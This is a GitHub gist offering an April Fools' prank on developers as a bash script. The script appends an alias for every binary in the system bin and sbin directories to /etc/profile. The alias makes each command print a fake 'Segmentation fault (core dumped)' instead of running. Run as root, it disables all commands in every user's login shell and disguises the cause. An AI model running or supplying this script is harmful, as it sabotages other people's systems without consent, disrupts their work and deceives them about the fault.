Skip to content

Instantly share code, notes, and snippets.

@dkhabarov
Last active March 31, 2019 22:44
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save dkhabarov/6c5617587f3e8b2efe767ebac63e96e9 to your computer and use it in GitHub Desktop.
Save dkhabarov/6c5617587f3e8b2efe767ebac63e96e9 to your computer and use it in GitHub Desktop.
1-ое апреля. Разыграть разработчиков? :) Может ваши варианты будут интересней? :)
#!/bin/bash
for d in /bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin;
do
for tool in $(find "$d" -type f);
do
toolname=$(basename $tool)
cat << EOF >> /etc/profile
alias $toolname='/bin/echo "Segmentation fault (core dumped)";'
EOF
done
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment